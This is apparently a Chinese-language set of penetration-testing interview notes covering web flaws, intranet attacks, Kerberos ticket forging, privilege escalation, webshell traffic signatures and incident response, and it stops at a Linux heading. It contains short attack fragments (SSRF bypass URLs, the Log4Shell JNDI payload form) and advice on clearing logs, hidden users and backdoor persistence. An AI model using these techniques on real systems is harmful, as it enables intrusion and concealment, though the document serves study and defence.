存储型XSS:你发送⼀次带XSS代码的请求,以后这个⻚⾯的返回包⾥都会有XSS代码;反射型XSS:你发送⼀次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;DOM型XSS:你发送⼀次带XSS代码的请求,在返回包⾥压根⼉就找不到XSS代码的影⼦;
XXE
原理: 解析⽤户传⼊的xml作⽤: 内⽹端⼝扫描、利⽤file协议等读取⽂件、攻击内⽹web应⽤使⽤ get(struts2等)危害:
-
1. 导致可以加载恶意外部⽂件 -
2. 造成⽂件读取 -
3. 内⽹端⼝扫描 -
4. 攻击内⽹⽹站 -
5. 发起dos攻击等危害防御: 过滤⽤户提交的XML数据、如果你当前使⽤的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁⽤外部实体,从⽽起到防御的⽬的
哪些地方存在xxe
xxe常⻅场景是如pdf在线解析、word在线解析、定制协议,留⾔板等,跟逻辑设计有关⽽与语⾔⽆关,最好是不要让XML作为参数传输或整体结构可被⽤户篡改。如果⼀定要使⽤,⾄少要禁⽤DTD、Entity。xxe危害 读取本地⽂件,执⾏系统命令,探测内⽹端⼝,攻击内⽹服务探测内⽹端⼝的协议有gopher file dict,不同语⾔⽀持不同的协议,是具体情况⽽定file http ftp是常⽤的防范,python⽤lxml时可以对resolve_entities设为false。或者过滤⽤户提交的xml客户端也可以有xxe攻击,有的⽹站会使⽤office打开docx进⾏解析Java解析XML的常⽤三⽅库,如果不禁⽤DTD、Entity都会导致XXE漏洞:javax.xml.stream.XMLStreamReader;javax.xml.parsers.DocumentBuilderFactory;
文件上传
原理:由于程序员在对⽤户⽂件上传功能实现代码没有严格限制⽤户上传⽂件后缀以及⽂件类型或者处理缺陷,⽽导致⽤户可以越过本身权限向服务器上传⽊⻢去控制服务器.
危害:操作⽊⻢⽂件提权 获取⽹站权限绕过⽅法:
-
1. ⿊名单a. 后缀名不完整 .php5 .phtml等b. 上传.htacessc. ⼤⼩写d. 在数据包中 后⽂件缀名前加空格e. 后缀名前加.f. 加上::$DATAg. 未循环验证,可以使⽤x.php..类似的⽅法 -
2. ⽩名单(⼀般需要配合其他漏洞⼀起利⽤)a. %00截断b. 图⽚⻢c. 条件竞争修复: -
3. 后端验证:采⽤服务端验证模式 -
4. 后缀验证:基于⽩名单,⿊名单过滤 -
5. MIME验证:基于上传⾃带类型艰检测 -
6. 内容检测:⽂件头,完整性检测 -
7. ⾃带函数过滤 -
8. WAF防护软件:宝塔、云盾等
文件包含
类型:
-
1. 本地⽂件包含 -
2. 远程⽂件包含 :即加载远程⽂件,在 php.ini
中开allow_url_include 、allow_url_fopen选项。开启后可以直接执⾏任意代码。PHP⽂件包含函数 -
3. include():使⽤此函数,只有代码执⾏到此函数时才将⽂件包含进来,发⽣错误时只警告并继续执⾏。 -
4. inclue_once():功能和前者⼀样,区别在于当重复调⽤同⼀⽂件时,程序只调⽤⼀次。 -
5. require():使⽤此函数,只要程序执⾏,⽴即调⽤此函数包含⽂件,发⽣错误时,会输出错误信息并⽴即终⽌程序。 -
6. require_once():功能和前者⼀样,区别在于当重复调⽤同⼀⽂件时,程序只调⽤⼀次。利⽤: -
7. 读取敏感⽂件 -
8. 远程包含shell -
9. 图⽚上传并包含图⽚shenll -
10. 使⽤伪协议 -
11. 包含⽇志⽂件GetShell -
12. 截断包含修复⽅案: -
13. 禁⽌远程⽂件包含allow_url_include=off -
14. 配置open_basedir=指定⽬录,限制访问区域。 -
15. 过滤../等特殊符号 -
16. 修改Apache⽇志⽂件的存放地址 -
17. 开启魔术引号magic_quotes_qpc=on -
18. 尽量不要使⽤动态变量调⽤⽂件,直接写要包含的⽂件
CSRF
原理:CSRF跨站点请求伪造。攻击者盗⽤了受害者的身份,以受害者的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的⼀个操作危害:
-
1. 对⽹站管理员进⾏攻击 -
2. 修改受害⽹站上的⽤户账户和数据 -
3. 账户劫持 -
4. 传播CSRF蠕⾍进⾏⼤规模攻击 -
5. 利⽤csrf进⾏拖库 -
6. 利⽤其他漏洞进⾏组合拳攻击 -
7. 针对路由器的csrf攻击如何防护: -
8. 尽量使⽤POST,限制GET; -
9. 浏览器Cookie策略; -
10. 加验证码;
SSRF
利⽤⼀个可以发起⽹络请求的服务当作跳板来攻击内部其他服务。
ssrf危害:
-
1. 探测内⽹信息,⽤协议探 ftp%26ip={ip}%26port={port}
-
2. 攻击内⽹或本地其他服务 -
3. 穿透防⽕墙具体利⽤的⽅式:具体操作需要查看⽀持的协议,file协议查看⽂件、dict协议探测端⼝、ophergopher协议⽀持GET&POST请求,同时在攻击内⽹ftp、redis、telnet、Memcache上有极⼤作⽤利⽤gopher协议访问redis反弹shell
漏洞存在的地⽅:
-
1. 能够对外发起⽹络请求的地⽅ -
2. 请求远程服务器资源的地⽅ -
3. 数据库内置功能 -
4. 邮件系统 -
5. ⽂件处理 -
6. 在线处理⼯具
举⼏个例⼦:
-
1. 在线识图,在线⽂档翻译,分享,订阅等,这些有的都会发起⽹络请求。 -
2. 根据远程URL上传,静态资源图⽚等,这些会请求远程服务器的资源。 -
3. 数据库的⽐如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。 -
4. 邮件系统就是接收邮件服务器地址这些地⽅。 -
5. ⽂件就找ImageMagick,xml这些。 -
6. 从URL关键字中寻找,⽐如:source,share,link,src,imageurl,target等。
绕过姿势:
-
1. http://[email protected]` -
2. 利⽤IP地址的省略写法绕过,[::]绕过localhost -
3. DNS解析 http://127.0.0.1.xip.io/可以指向任意ip的域名:xip.io -
4. 利⽤⼋进制IP地址绕过,利⽤⼗六进制IP地址,绕过利⽤⼗进制的IP地址绕过
修复:
-
1. 地址做⽩名单处理 -
2. 域名识别IP 过滤内部IP -
3. 校验返回的内容对⽐是否与假定的⼀致
CSRF、SSRF和重放攻击有什么区别
CSRF 跨站请求伪造
攻击者诱使已经认证的⽤户在不知情的情况下发送恶意请求
例如 : 通过隐 藏的 图像请求或伪造的表单
SSRF 服务器端请求伪造
攻击者利⽤服务器功能发送从服务器发起的请求 ⽤来探测内⽹ 与内部系统交互或发起恶意请求
重放攻击
攻击者拦截合法的数据传输然后重新发送 ⽬的是欺骗系统重复执⾏原来的操作
CSRF 和 XSS 和 XXE 有什么区别,以及修复方式
XSS是跨站脚本攻击,⽤户提交的数据中可以构造代码来执⾏,从⽽实现窃取⽤户信息等攻击。
修复⽅ 式:对字符实体进⾏转义、使⽤HTTP Only来禁⽌JavaScript读取Cookie值、输⼊时校验、浏览器与 Web应⽤端采⽤相同的字符编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多⼿段中的⼀种,是由于没有在关键操作执⾏时进⾏ 是否由⽤户⾃愿发起的确认。
修复⽅式:筛选出需要防范CSRF的⻚⾯然后嵌⼊Token、再次输⼊密码、 检验Referer.
XXE是XML外部实体注⼊攻击,XML中可以通过调⽤实体来请求本地或者远程内容,和远程⽂件保护类 似,会引发相关安全问题,例如敏感⽂件读取。
修复⽅式:XML解析库在调⽤时严格禁⽌对外部实体的 解析。
CSRF XSS和SSRF之间的区别
CSRF 跨站请求伪造 攻击者诱导⽤户执⾏⾮预期的⽹站操作 如发送邮件或更改密码
XSS 跨站脚本 攻击者在⽬标⽹站注⼊恶意脚本 直接影响⽤户浏览器
SSRF 服务器端请求伪造 攻击者诱导服务器对外部系统进⾏意外的请求
逻辑漏洞
-
1. 挖过的逻辑漏洞订单任意⾦额修改相同价格增加订单数量,相同订单数量减少产品价格,订单价格设定为负数。预防思路:订单需要多重效验 - 订单数值较⼤的时候需要⼈⼯审核 -
2. 验证码回传漏洞⼀般发⽣在账号密码找回、账号注册、⽀付订单等。验证码发送途径⼀般为⼿机短信、邮箱邮件预防思路:- response数据内不包含验证码,验证⽅式主要采取后端验证,但是缺点是服务器的运算压⼒也会随之增加- 如果要进⾏前端验证的话也可以,但是需要进⾏加密 -
3. 未进⾏登陆凭证验证有些业务的接⼝,因为缺少了对⽤户的登陆凭证的效验或者是验证存在缺陷,导致⿊客可以未经授权访问这些敏感信息甚⾄是越权操作。⽐如后台⻚⾯、订单ID枚举、敏感信息可下载、没验证ID或cookie验证导致越权。预防思路:- 对敏感数据存在的接⼝和⻚⾯做cookie,ssid,token或者其它验证 -
4. 接⼝⽆限制枚举- 某电商登陆接⼝⽆验证导致撞库 - 某招聘⽹验证码⽆限制枚举 - 某快递公司优惠券枚举 - 某电商会员卡卡号枚举预防思路:- 在输⼊接⼝设置验证,如token,验证码等。如果设定验证码,最好不要单纯的采取⼀个前端验证,最好选择后端验证。如果设定token,请确保每个token只能采⽤⼀次,并且对token设定时间参数。 - 注册界⾯的接⼝不要返回太多敏感信息,以防遭到⿊客制作枚举字典。 - 验证码不要⽤短数字,尽量6位以上,最好是以字⺟加数字进⾏组合,并且验证码需要设定时间期限。- 优惠券,VIP卡号请尽量不要存在规律性和简短性,并且优惠券最好是以数字加字⺟进⾏组合 -
5. cookie设置存在缺陷 - Cookie的效验值过于简单。有些web对于cookie的⽣成过于单⼀或者简单,导致⿊客可以 对cookie的效验值进⾏⼀个枚举. - cookie存在被盗⻛险,即⽤户重置密码后使⽤⽼cookie依然可以通过验证 - ⽤户的cookie数据加密应严格使⽤标准加密算法,并注意密钥管理。不能采取简单的 base64等算法
越权:
平⾏越权:权限类型不变,权限ID改变;
垂直越权:权限ID不变,权限类型改变;
交叉越权:即改变ID,也改变权限预防思路:
-
1. cookie中设定多个验证,⽐如⾃如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。 -
2. ⽤户的cookie数据加密应严格使⽤标准加密算法,并注意密钥管理。 -
3. ⽤户的cookie的⽣成过程中最好带⼊⽤户的密码,⼀旦密码改变,cookie的值也会改变。 -
4. cookie中设定session参数,以防cookie可以⻓时间⽣效。 -
5. 根据业务不同还有很多⽅法
给你一个登录页面,你如何进行渗透
注⼊点以及万能密码
敏感信息泄露
验证码绕过
⽆限注册帐号
任意密码重置
明⽂传输
越权漏洞
内网
内网渗透的流程
拿到跳板后,先探测⼀波内⽹存活主机,⽤net user /domian命令查看跳板机是否在域内,探测存活主机、提权、提取hash、进⾏横向移动,定位dc位置,查看是否有能直接提权域管的漏洞,拿到dc控制权后进⾏提权,然后制作⻩⾦票据做好维权,清理⼀路过来的⽇志擦擦脚印
拿到webshell不出网情况下怎么办
reg上传去正向连接。或探测出⽹协议,如dns,icmp,http
白银票据与黄金票据的原理?
Kerberos认证中就需要通过查询AD中数据来判断发出请求的客户端是否合法。Ticket :票据,是⽹络对象互相访问的凭证。TGT(Ticket Granting Ticket):票据授权票据,通过票据授权票据可以获得⼀个票据,类似临时凭证。ST(Service Ticket):服务票据
黄金票据
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client⼀个Logon Session Key 和 TGT,⽽ Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash ⼜是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造TGT 和Logon Session Key 来进⼊下⼀步 Client 与 TGS 的交互。⽽已有了⾦票后,就跳过AS 验证,不⽤验证账户和密码,所以也不担⼼域管密码修改
黄金票的条件要求?
-
1. 域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot] -
2. 域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value](就是域成员SID值去掉最后的) -
3. ⽬标服务器的 FQDN -
4. 可利⽤的服务 -
5. 域的KRBTGT账户NTLM密码哈希 -
6. 需要伪造的⽤户名⼀旦攻击者拥有管理员访问域控制器的权限,就可以使⽤Mimikatz来提取KRBTGT帐户密码哈希值
白银票据
如果说⻩⾦票据是伪造的 TGT,那么⽩银票据就是伪造的 ST。在 Kerberos 认证的 第三步,Client 带着 ST 和Authenticator3 向 Server 上的某个服务进⾏请求, Server 接收到 Client 的请求之后,通过⾃⼰的 Master Key 解密 ST,从⽽获得 Session Key。通过 Session Key 解密 Authenticator3,进⽽验证对⽅的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server ⽤户的Hash 就可以伪造出⼀个 ST,且不会经过 KDC,但是伪造的⻔票只对部分服务起作⽤
金票和银票的区别
获取的权限不同认证流程不同加密⽅式不同针对kerbores的攻击有哪些?
-
1. ⽤户名爆破 -
2. 密码喷洒和密码爆破 -
3. Kerberoasting -
4. ASRepRoasting -
5. ⻩⾦票据和⽩银票据 -
6. MS14-068 -
7. ⾮约束委派、约束委派、基于资源的约束委派 -
8. 票据传递(ptt/ptk/ptc) -
9. mimikatz加密降级攻击(万能钥匙) -
10. 使⽤恶意的kerberos证书做权限维持
mimikatz使用方法
mimikatz是⼀款强⼤的系统密码破解获取⼯具。可以破解哈希值,是⼀个可加载的 Meterpreter模块。如果system的权限⽆法执⾏执⾏。需要先进⾏提权。在meterpreter中输⼊run post/multi/recon/local_exploit_sugge ster,进⾏提权漏洞检测。
隐藏痕迹
-
1. 跳板 -
2. 代理服务器 -
3. Tor -
4. ⽇志 -
5. 清除历史记录 -
6. 粉碎⽂件
linux的提权方式
利⽤内核栈溢出提权明⽂ root 密码提权密码复⽤sudo 滥⽤NFSsuid计划任务
如何建立隐藏用户
在Linux系统中建⽴⼀个对普通⽤户不可⻅的隐藏⽤户 可以通过修改 /etc/passwd⽂件实现 可以将⽤户 的登录shell设置为 /sbin/nologin或 /bin/false 这样⽤户就不能登录到系统 但为了进⼀步隐藏 可 以将⽤户ID设置为负数或极⾼的值 通常不会检查这些范围的UID 这样在⼤多数系统⼯具中⽤户将不会显示 这种⽅法的安全性有限 可能会被有经验的⽤户或管理员发现
给你⼀个内网Windows你如何渗透
内⽹渗透通常依赖于多种技术和⼯具 步骤可能包括信息收集:使⽤如 NetBIOS、SNMP、等⼯具收集⽹络结构、主机名、IP、地址等信息漏洞扫描:使⽤漏洞扫描⼯具如Nessus或OpenVAS扫描内部系统的已知漏洞利⽤漏洞:针对发现的漏洞、使⽤Exploit⼯具,如Metasploit 进⾏利⽤尝试获得系统访问权限提权:获取初步的权限后,尝试通过各种提权技术获得更⾼级别的权限横向移动:在内⽹中移动,寻找更多的⽬标机器进⾏攻击,使⽤如Pass-the-Hash Kerberoast ing 等技术
给你⼀个内网Linux你如何渗透
内⽹Linux系统的渗透步骤与Windows类似 不同之处在于利⽤的⼯具和技术信息收集:通过⽹络扫描⼯具如Nmap收集开放的服务和运⾏的应⽤程序漏洞扫描和利⽤:利⽤⼯具如OpenVAS进⾏漏洞扫描,利⽤具体漏洞,如SSH FTP服务漏洞,尝试获取访问权限提权:⼀旦进⼊系统通过查找sudo权限配置不当,过时软件,内核漏洞等⽅法尝试提升权限横向移动:利⽤SSH密钥 Kerberos票据等进⾏内⽹其他系统的横向移动
拿到win权限后 权限维持
拿到Windows系统权限后 维持访问通常包括植⼊后⻔ 安装后⻔程序或使⽤现有的远程管理⼯具替换合法⽂件 ⽤恶意⽂件替换系统中的合法⽂件注册表修改 修改注册表来保持恶意代码的启动
清理日志要清理哪些
清理系统⽇志时应注意安全⽇志 如登录尝试 账户更改等系统⽇志 系统启动 运⾏错误等应⽤⽇志 具体应⽤产⽣的⽇志 可能包含操作记录⽹络⽇志 如防⽕墙 路由器⽇志
linux有哪些提权思路
常用的有以下几种:
1.SUID 提权:在Linux 中,如果一个可执行文件的SUID被设置,那么该文件将以 拥有者的权限运行,而不是以执行者的权限运行。因此,如果用户找到了一个 SUID 为root 的文件并成功地使其执行了恶意代码,那么该用户将会获得root权限。
2.利用系统漏洞:这是最常见的攻击方式,通过研究和利用Linux内核或者系 统服务中的漏洞,以此实现权限提升。
3.安全配置错误:例如配置错误的sudo权 限、cron 任务、文件系统权限等,都有可能被利用来提权。
4.利用软件漏洞:如 果系统上运行的某个软件存在漏洞,如各种服务器软件、数据库等,我们可以尝试 利用这些漏洞进行提权操作。
5.密码破解:例如弱口令攻击,或者找到系统中存储 密码的文件(如/etc/shadow,/etc/passwd)然后进行破解,以此来提升权限。
Windows有哪些提权思路
1.利用系统漏洞:这是最常见一种方式。通过找到并利用Windows系统的漏洞, 可以直接获取高级别的权限。
2.配置错误:主要包括错误的文件和文件夹权限、服 务配置错误等情况。
3.服务漏洞:Windows有很多默认安装的服务,一些服务可 能存在漏洞
4.利用软件漏洞:如果一个以管理员权限运行的程序存在漏洞,那么 攻击者可能可以通过这个漏洞来获取管理员权限。
5.查找并利用密码:例如,可以 从系统内部、配置文件、注册表、或者内存中寻找密码的明文或者哈希值。如果找 到了,可以尝试破解或者直接使用。
6.Token劫持/Hijacking:在Windows 中,权 限和访问控制是基于Token的。如果一个程序能获取到另一个权限更高的进程的 Token,那么它就可以提升自己的权限。
框架漏洞
了解哪些web框架、中间件、消息队列、容器、云组件
web框架:spring生态、Apache Struts2等
中间件:Nginx、Apache、Tomcat、 Redis、Zookeeper 、weblogic、JBOSS等。
消息队列:kafka、RabbitMQ等
容器:Docker、Kubernetes等
云原生组件:服务网格(Envoy、lstio)、Serverless等
常见漏洞有:未授权的访问、代码执行漏洞、配置错误漏洞、解析错误漏洞、表达式注入漏洞、授权绕过漏洞、反序列化漏洞等漏洞
具体的所有框架漏洞得需要你自己收集,整理,复现等,下面的只是稍微举点例子
shiro550与shiro721的区别:
1)这两个漏洞主要区别在于Shiro550使用已知密钥碰撞,只要有足够密钥库(条件较低),不需要 Remember Cookie
2)Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key 值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击
Fastjson反序列化漏洞
漏洞产⽣的原因是fastjson在解析json过程 中,⽀持使⽤autoType来实例化某⼀个具体的类,并调⽤该类的set/get⽅法来访问属性。通过查找代码中相关 的⽅法,即可构造出⼀些恶意利⽤链。
Log4j2命令注入漏洞
Log4j2远程代码执行漏洞本质上为JNDI注入。当我们在任何输入框里面输入这个payload,那么log4j2就会将我们的输入的信息记录到日志中,在记录日志的时候会间接的调用log4j2 的 MessagePatternConverter 组件中的 format 方法。该方法会截取美元符和花括号之间的字符串,将该字符作为查找对象的条件。
如果字符是 jndi:ldap 这样的协议格式则进行jndi方式的 ldap 调用。通过JNDI这个接口传入一个可控参数,因为JNDI动态协议转换,所以我们传入ldap协议,就会自动换成这个协议,然后调用lookup去LDAP服务器端去获取一个不存在的资源,因为这个资源不存在,且支持JNDI Naming Reference,那么LDAP就会去他指定的一个url去动态加载。如果加载的这个资源里面包含无参构造函数或者静态方法那么代码就会被执行。
Tomcat任意文件上传
-
1. Tomcat管理界面的默认配置是允许PUT和DELETE方法请求。 -
2. PUT方法请求可以用于上传文件。攻击者可以使用PUT方法将恶意JSP文件上传到Tomcat服务器上。 -
3. Tomcat将上传的文件保存在webapps目录下。如果攻击者上传了包含恶意代码的JSP文件,攻击者就可以通过访问这个JSP文件来执行任意代码。 -
4. 由于Tomcat管理界面没有身份验证,攻击者可以轻松地上传和部署恶意JSP文件,从而利用该漏洞。
Jboss反序列
-
1. Jboss应用服务器中的某些组件对外提供了反序列化接口,这些组件包括:jboss-common-core、jboss-remoting、jboss-as-jmx等。 -
2. 攻击者可以通过构造恶意序列化数据,伪造合法的序列化对象,并将其发送给Jboss服务器。服务器在反序列化数据时,会执行其中包含的代码,从而达到攻击者想要的任意代码执行效果。 -
3. 由于Jboss默认情况下未对反序列化数据进行安全检查,攻击者可以利用该漏洞在服务器上执行任意代码,包括读取或删除敏感文件、修改系统配置等恶意操作。
Weblogic未授权命令执行
该漏洞是由Weblogic中的一个组件(wls9_async_response)的缺陷导致的。攻击者可以向该组件发送特制的HTTP请求,将攻击者自己的恶意代码写入到Weblogic服务器的临时文件夹中(比如/tmp目录),并且通过相应的请求可以触发服务器上的一个漏洞,进而执行恶意代码。
流量分析
AWVS流量特征
-
1. 扫描目录的时候会默认请求含有awvs关键字的目录 -
2. 请求包里含有Acunetix-Aspect:等关键字段 -
3. CONNECT方法请求代理服务器去访问目标站点(www.acunetix.wvs:443) -
4. header头中的Accept字段设为acunetix/wvs(为了去验证是否存在敏感信息或者是否存在注入漏洞) -
5. wvs字段
NMAP流量特征
-
1. 大量的建立连接的请求和大量的失败的信息 -
2. 攻击端口为大端口 -
3. Agent头中有NmapScriptingEngine -
4. 含有sqlspider字段(进行sql注入扫描的特征)
CS流量特征
-
1. http-beacon通信中,默认使用get方法向/dpixel、/__utm.gif、/pixel.gif等地址发起请求,同 时请求头存在cookie字段并且值为base64编码 -
2. dns-beacon通信中,默认使用cdn.、www6.、api.、www.、post.为开头发起dns请求,并且查询结 果伴随0.0.0.0、0.0.0.80、0.0.0.241等非常规IP -
3. 心跳包间隔一定时间,均有通信,且流级上的上下行数据长度固定 -
4. 常见User-Agent:Cobalt Strike通常使用自定义的User-Agent字符串,例如Mozilla/5.0 (Windows NT 10.0; Win64; x64) Cobalt Strike -
5. 命令和控制流量:Cobalt Strike的HTTP请求中可能包含与C2服务器通信的命令和控制信息,这些信息 在正常的Web请求中不会出现。
蚁剑流量特征
1、请求体都存在以@ini_set("display_errors","0");@set_time_limit(0)开头;2、并且响应体的返回结果是base64编码发混淆字符,格式为:随机数 结果 随机数;3、还有一个比较明显的特征,即为参数名大多以“_0x.....=”。
菜刀特征
默认的webshell中链接密码都是caidao,ua头为百度爬虫、请求体中存在eavl,base64等特征字符 响应包中包含X@Y、php的webshel中流量参数z0、z1、z2
冰蝎2.0流量特征
建立连接后 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/; 静态分析: 各种语言的webshell中都会存在16位数的连接密码,默认变量为key
冰蝎3.0流量特征
1、使用AES加密 + base64编码,取消了2.0的动态获取密钥,使用固定的连接密钥;
2、默认内置 16 个 user-agent,content-type为application/octet-stream*
3、content-type字段常见为application/octet-stream。
冰蝎4.0流量特征
1、每次连接使用本地端口都是比较大的端口,每连接一次,每建立一次新的连接,端口就依次增加;
2、请求头和响应头里会带有 Connection:Keep-Alive。
哥斯拉流量特征
不修改User-Agent,User-Agent会类似于Java/1.8.0_121(具体什么版本取决于JDK环境版本)
在请求包的Cookie中有一个非常致命的特征,最后的分号 标准的HTTP请求中最后一个Cookie的值是不应该出现;的
请求包的特征:1. “pass=”起始 2. 请求包较长 响应包为0 3. 一个tcp包里面有三个http
响应包特征: 整个响应包的结构体征为:md5前十六位+base64+md5后十六位
struts2漏洞执行命令流量分析
-
1. 在请求头中存在OGNL表达式,一般在url中会出现的攻击特征主要是:.action?method | ? redirect:$ 在conten-type中出现的攻击特征主要有:%{#context 、在报文体中出现的攻击特征主要 有:#_memberAccess 等 -
2. 判断请求中是否包含特定的 Struts2 关键字,如"method:"、"redirect:"等,这些关键字可能是用 于执行命令的操作; -
3. 检查请求中是否包含"Content-Type"头字段,并且值为"application/x-www-formurlencoded",这是 Struts2 框架默认的 Content-Type 值,用于处理 POST 请求; -
4. 检查请求参数中是否包含OGNL表达式,如"${}"、"%{}"等字符; -
5. 检查请求是否包含一个名为"class"的参数,值为"java.lang.Runtime",这个参数可以用于执行系 统命令
shiro反序列化漏洞流量分析
-
1. 在HTTP请求头Cookie里出现rememberMe字段以及可能出现自定义类型例如c: aWQ=,响应体中出现大 量编码字符串,若需要判断是否攻击成功,需对请求数据和响应体内容进行解密判断 -
2. 检查请求头中的"rememberMe" cookie。攻击者可能会在此处插入恶意序列化数据 -
3. 观察服务器响应。如果服务器返回了异常错误信息,如Java反序列化异常,可能表明攻击成功分析应用程 序日志:如果日志中出现了异常堆栈跟踪,可能表明攻击成功例如,攻击者发送了一个包含恶意序列化数据的 请求,服务器响应了一个包含Java反序列化异常的错误信息这可能表明攻击成功。
Fastjson反序列化漏洞流量分析
1.请求头:method: POST content_type: application/json
2.请求体:data:com.sun.rowset.JdbcRowSetImpl,dataSourceName,@type
3.请求体: 包含攻击者C2服务器地址
4.状态码为:400 也可能是500
5.通过态势感知平台进行回溯分析,在分析中心输入语法:(sip:(失陷服务器IP) OR sip:(攻击者 C2IP)) AND (dip:(失陷服务器IP) OR dip:(攻击者C2IP))
JBOSS 反序列化漏洞分析
1.在访问JBOSS漏洞页面/invoker/readonly后,返回值为500
2.请求体有llections.map.LazyMap、keyvalue.TiedMapEntry攻击链特征并且有明显的命令执行行 为比如whoami
3.在返回500 堆栈报错页面内容中包含了系统返回内容 比如系统用户:root
frp代理流量特征是什么
流量特征:
代理名"proxy_name":"http_proxy"
"run_id":
分块传输流量特征
有数字和数字对应数量的字符
log4j2漏洞了解吗?有什么特征?怎么判断是否攻击成功?如何应对这种漏洞?
Apache Log4j2 的一个严重漏洞(CVE-2021-44228),被广泛称为Log4Shell 漏 洞。漏洞的主要特征是:攻击者可以通过向Log4j2提供包含特殊JNDI引用的输 入,导致Log4j2 在处理该输入时尝试从提供的JNDI引用进行查找,可能导致被 攻击者控制的远程代码执行。具体来说,只需要包含形如 ${jndi:ldap://host/[object]}的输入即可。判断此类攻击成功的方法主要包括:
1.检查日志中是否存在这种攻击的痕迹,具体上看是否存在形如 ${jndi:ldap://host/[object]}的日志输出。2.检查网络流量。若出现了不寻常的 LDAP 请求到未知的、可疑的或者恶意的服务器,那么可能遭受了此类攻击。3.服 务器表现出异常行为,比如CPU、内存占用率异常增高,或者服务崩溃等。
应对此类漏洞的方式主要有:
1.立即对使用的Log4j2 版本进行升级。Apache 已经在2.15.0 版本中修复了这个问 题。但是由于2.15.0 版本中存在新的DoS问题,建议更新到2.17.0及其以上版本。
2.将log4j2.formatMsgNoLookups 的系统属性设为true。这可以通过添加 Dlog4j2.formatMsgNoLookups=true 到 JVM 参数来完成。
3.如果不能升级,那么可 以考虑移除或替换JndiLookup.class 文件,这个文件包含了有漏洞的代码。
4.使用 防火墙、IDS、IPS 或者其他网络级别的防护措施,限制或者监控LDAP流量。
SQL注入特征,误报原因以及怎么处理警告?
1.非法字符检测:这种类型的攻击通常会使用特殊字符,如单引号(')、双引号(")、 分号(;)、注释符号(--或/、/)等。检测输入中是否包含这类特殊字符是识别SQL注 入攻击的一种方法。
2.堆栈查询和联合查询:攻击者可能会使用UNIONSELECT等 语句来尝试提取数据库表的信息。另外,使用';'连接多个查询语句也是SQL注入攻 击的常见特征。
3.条件操作符:如果用户的输入中包含了例如“OR‘1’=’1”之类的语 句,那么这可能是一个SQL注入攻击。
4.使用信息函数:比如 CURRENT_USER(),SYSTEM_USER(),USER 等,这些都可以提供给攻击者有用的信 息。
5.时间延迟和布尔盲注:例如使用sleep、WAITFORDELAY'0:0:10'和if 语句 的使用。
SQL 注入的误报原因主要有:
1.正常请求中包含特殊字符:有些正常请求中可能会包含一些可能被误认为是SQL 注入攻击的特殊字符,这可能会导致误报。
2.防火墙规则设置过于严格:如果防火 墙或入侵检测系统的规则设置得过于严格,可能会将一些正常的请求误认为是攻击。
3.漏洞扫描工具的误报:有些漏洞扫描工具可能采用一些较为简单的检测规 则,可能会产生误报。
处理SQL注入告警的方法主要有:
1.确认是否为真实攻击:可以通过分析日志、重放请求等方式确认是否为真实的攻击。
2.封禁可疑IP:针对频繁发起SQL注入攻击的IP,可以进行封禁处理。
3.修 复漏洞:对于存在SQL注入漏洞的功能,尽快进行修复。注意使用参数化查询、 预编译的SQL语句等手段防止SQL注入。
4.过滤非法输入:对用户的输入进行校验,严格过滤非法字符。
5.教育培训和安全设计:提升开发团队的安全意识和能 力,从源头减少漏洞的出现。
如何在hw中分析webshell流量特征
-
1. 1.Webshell 通常会通过HTTPPOST 请求上传到服务器上,如果检测到未知的、大 量的或者异常的POST请求,这可能是Webshell的一个信号。 -
2. Webshell 会频繁 执行一些敏感的操作,如cmd.exe、/etc/passwd 等敏感命令或者文件下载/上 传,这是为了获取更多的系统权限和数据。 -
3. Webshell可能会使用一些罕见或者 非标准的HTTP头,或者使用相同的或者非常罕见的用户代理(User-Agent),以 此尝试绕过安全设备的检测。 -
4. Webshell可能会返回一些非标准的状态码,如 HTTP500,这可能表明服务器上的Webshell 在尝试执行某些操作时遇到了问题。 -
5. Webshell 通常会在非正常工作时间进行访问或者操作,或者源IP地址经常变 动,这是由于黑客一般会选择在用户访问量少的时候进行操作以降低被发现的风险。
应急响应
请说一下 Windows 入侵排查思路
1.检查系统账号安全
2.查看服务器是否有弱口令,远程管理端口(3389)是否对公网 开放(使用 netstat -ano 命令、或者问服务器管理员)3.lusrmgr.msc(本地用户和 本地用户组) 快捷命令查看服务器是否存在可疑账号、新增账号,如有管理员群组 的(Administrators)里的新增账户,如有,请立即禁用或删除掉4.用 D盾或者注 册表(regedit) 中查看服务器是否存在隐藏账号、克隆账号5.结合日志,查看管理员 登录时间、用户名是否存在异常,使用 eventvwr.msc 打开“事件查看器”,导出 Windows 日志–安全,利用 Log Parser进行分析6.检查异常端口、进程 netstat - ano 检查端口连接情况,是否有远程连接、可疑连接 然后使用 tasklist |findstr PID 进行定位7.使用快捷命令 msconfig 查看是否存在命名异常的启动项目, 输入 regedit 注册表中查看开机启动项是否正常,输入 gpedit.msc 查看本地组策略,使 用 services.msc 检查是否有异常服务8.检查系统相关信息 systeminfo 查看系统版 本以及补丁信息 查找可疑目录及文件
9.自动化查杀:病毒查杀:下载安全软件, 更新最新病毒库,进行全盘扫描 webshell 查杀:选择两款进行查杀(D 盾Web 查 杀/河马 webshell 查杀)
请说一下 Linux 入侵排查思路
